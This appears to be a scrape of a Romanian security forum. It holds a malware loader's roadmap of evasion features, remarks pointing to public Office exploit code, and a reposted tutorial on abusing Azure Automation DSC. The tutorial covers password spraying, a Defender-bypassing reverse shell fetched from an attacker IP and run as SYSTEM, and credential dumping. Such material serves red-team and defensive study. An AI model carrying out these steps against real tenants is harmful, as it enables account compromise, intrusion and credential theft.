Upgrades expected in the next release
This is an alpha release version and depending on the response many more upgrades to existing functionalities are coming soon.
Some of them are:
- Integrate various Sandbox detection algorithms.
- Integrate support for more stealthy shellcode injection techniques.
- Integrate function obfuscation to make it stealthier.
- Include a network component to callback to a C2 when a Stage-2 payload is released or to change targets/payloads and configure other options on-the-fly etc.
- Inject to a remote process from where network activity is not unusual for fetching the shellcode - better OPSEC
- Include active hours functionality - Loader becomes active during a specified period of day etc.
Feel free to communicate any further feature that you want to see in the next release. Suggestions for improving existing features are also warmly welcome
Support this project
If you find this project useful, consider buying me coffee or a beer(depending on the mood) as a token of appreciation.
You can do it right here:
OR
Sursa: https://slaeryan.github.io/posts/falcon-zero-alpha.html
-
Trebuie sa inveti atat teoretic cat si sa lucrezi practic.
Da, am vazut multe pareri bune despre acea carte asa ca ti-o recomand. Ulterior poti trece la altele, trebuie sa le iei pe rand.
Gasesti documentatie legat de orice pe Internet, trebuie doar sa fii motivat.
-
1
-
1
-
-
Nu, dar arata extrem de bine, contine multe informatii utile si e foarte bine organizat!
-
1
-
-
Bine ai venit. Si RST e foarte bun la capitolul SEO. E primul rezultat la cautarea "invitatie filelist".
Nu stim de ce, dar parca nu vrem sa mai fie. Daca despre SEO mai stim cate ceva, despre anti-SEO stii cate ceva? Ce am putea face?
-
1
-
1
-
-
Acel MalSec, rusnac sau ce o fi, care vinde de fapt asa ceva (probabil Gigel de mai sus nu il are, ci doar e tepar), zice ca merge pana la Office 2016.
Uitati ceva mai recent, open-source: https://github.com/bhdresh/CVE-2017-0199 gasit random si fara sa vreau. Sunt si altele, publice, gratis, open source.
Cat despre ceva modern, care sa functioneze pe ultimele versiuni, adica 0day... https://zerodium.com/program.html -> Oficial si legal se pot obtine 100.000 de euro pe el. Cat despre piata neagra, nici nu se pune problema.
Cu alte cuvinte, hacker cu 69 in username, nimeni de aici nu e atat de dobitoc sa dea nici macar 10 euro pentru ceea ce tu pretinzi ca ai. Probabil nici nu ai.
Acum serios, daca ai nevoie de niste bani, 20-30 de euro, zi-ne direct si iti trimitem, nu suntem chitrosi.
Abusing Azure DSC — Remote Code Execution and Privilege Escalation
in Tutoriale in engleza
Posted
Abusing Azure DSC — Remote Code Execution and Privilege Escalation
Part (2/2) — Azure Automation DSC for Remote Code Execution and Privilege Escalation
Intro
In my previous post, I explained how to get started with compiling a basic configuration file for DSC. We went over how to create Resource Groups, Storage Accounts, Blobs, uploading files to storage, and writing our first configuration file all through PowerShell.(part 1). We left off with something pretty basic, so it’s time to have a bit more fun.
Goal
We’re going to take what we’ve learned from part 1 and expand on it. We’ll be abusing the DSC file-write and scheduled task functions in a scenario to gain remote code execution and privilege escalation as a user with contributor level access.
Prerequisites
It’s worth reading part 1 of this series to understand how to use DSC and setup other dependency’s as I won’t provide the same level of detail as we work through this. This time around, I’m introducing a Kali box to serve as the attacker machine, so this will be our lineup of resources:
Scenario
In this contrived scenario, we begin by password-spraying a set of users against the azurepentest.onmicrosoft.com domain. Once we authenticate, we discover that this account has contributor level access. We then find a particular server that we’re interested in attacking. Rather than trying to look for credentials to this server, we can abuse the Azure DSC service to write code to the server and have it executed, which will fetch a reverse shell payload and have it run in memory with SYSTEM level privileges.
Getting Started — Password Spray
Let’s get started with some fun — we’re going to begin by password spraying users against our targeted @azurepentest.onmicrosoft.com domain. I’m going to be using an awesome script written by Beau from Black Hills Security (https://github.com/dafthack/MSOLSpray) called MSOLSpray to perform the spray. We then proceed by setting up our list of users and begin the spray:
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme!
As we can see, we now have valid credentials for the user keithflick@azurepentest.onmicrosoft.com so we can now log in via Connect-AzAccount through PowerShell (don’t worry, this is all burned by now
).
Remote Server (C2) Infrastructure Preparation
I will be hosting a stripped-down version of the Nishang Invoke-PowerShellTcp.ps1 payload from the remote server “40.84.7.74”, which is the Kali box. The payload name will be “RevPS.ps1”. To prevent the Nishang script getting deleted by Windows Defender for any reason (maybe you’d rather drop the file to disk) I have a lightweight version here that you can use which will bypass Defender: https://github.com/nickpupp0/AzureDSCAbuse/blob/master/RevPS.ps1. This will be hosted by a simple Python Simple Server on the Kali box.
Step 1 — Create Files
We’ll need to create another DSC configuration file. A template can be downloaded here: https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1. This config file will use the same file-write function that we previously used. This time, the contents include code to download and execute a payload from our remote server. Also, we’re using a scheduled-task function available from the ComputerManagementDsc module. The scheduled-task function will be the key role in execution and providing us with SYSTEM privileges later on.
We’ll also download a script which will be used to publish our configuration to the VM. This is located here: https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1.
These files will serve as a template. You’ll need to fill in the variable names and parameters with what you’re using. This includes the resource names, file paths, and the external server/payload names that you’re using. Please refer to the comments in the code.
Step 2 — Zip Configuration File
With our two files created, we’ll zip the ‘reverse_shell_config.ps1’ file so it can be sent to the Storage Account
Step 3 — Set Storage Context & Upload
Again, we’ll setup the context of our Storage Account which I’ve already done. I already have a container named ‘azure-pentest’ so this is where I’ll be publishing mine:
Step 4 — Prep Kali Box
In our Kali box, we can simply wget our PowerShell payload. The raw reverse-shell script is located here: https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1.
We need to edit the reverse-shell script by adding our parameters in, so the Windows VM knows where to connect to once it’s executed. In my case I add following:
Step 5 — Publish Configuration File
Now we’ll run our configuration file. I have mine setup to be published to the Desktop for a better visual, however it can be published just about anywhere. After a couple of minutes, we’ll see that the reverse-shell script has been published!
Step 6 — Host Payload and Setup Listener
Once we publish the configuration, we can concurrently start a Python SimpleHTTPServer over port 80 to host the payload, along with a netcat listener in order to catch the connection:
We see that the scheduled task has run and our payload was retrieved and executed in memory with SYSTEM level privileges!
Wrapping Up
This now opens the door for many possibilities. Since we have a shell running as SYSTEM, we can dump credentials with mimikatz (potentially risky depending on how mature the EDR is for cloud resources). If you dump creds , there's a good chance that these can be reused elsewhere across different resources. Lastly, a big takeaway is that instead of limiting this to one VM, you now have the ability to potentially apply this configuration across multiple VM’s.
On that note, this concludes our Azure Automation DSC adventures! I hope you had fun, learned a lot and continue to expand with your own creativity. Until next time ~
Sources
MSOLSpray
dafthack/MSOLSpray
A password spraying tool for Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is…
github.com
Computer Management DSC
dsccommunity/ComputerManagementDsc
DSC resources for for configuration of a Windows computer. These DSC resources allow you to perform computer management…
github.com
Nishang Invoke-PowerShellTcp.ps1 Script
samratashok/nishang
By nikhil_mitt Import all the scripts in the current PowerShell session (PowerShell v3 onwards). PS C:\nishang>…
github.com
cepheisecurity
Sursa: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe